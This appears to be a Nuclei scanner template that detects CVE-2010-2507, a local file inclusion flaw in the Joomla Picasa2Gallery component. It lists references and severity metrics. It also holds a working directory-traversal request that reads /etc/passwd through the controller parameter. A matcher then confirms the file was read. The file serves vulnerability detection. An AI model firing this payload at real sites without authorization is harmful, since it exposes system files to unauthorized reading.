id: CVE-2010-2507

info:
  name: Joomla! Component Picasa2Gallery 1.2.8 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Picasa2Gallery (com_picasa2gallery) component 1.2.8 and earlier for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/13981
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2507
    - http://packetstormsecurity.org/1006-exploits/joomlapicasa2gallery-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/59669
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2507
    cwe-id: CWE-22
    epss-score: 0.01923
    epss-percentile: 0.83615
    cpe: cpe:2.3:a:masselink:com_picasa2gallery:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: masselink
    product: com_picasa2gallery
  tags: cve2010,cve,edb,packetstorm,joomla,lfi,masselink,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_picasa2gallery&controller=../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008732741f0aaf26d1c0a64577b005db75bb76beccbbf9c8a008cfaaadae08ee6202202824417ae59fc208ca327ee91f5e33c7b3623b58bb82f1d0144384ea61ef362e:922c64590222798bb761d5b6d8e72950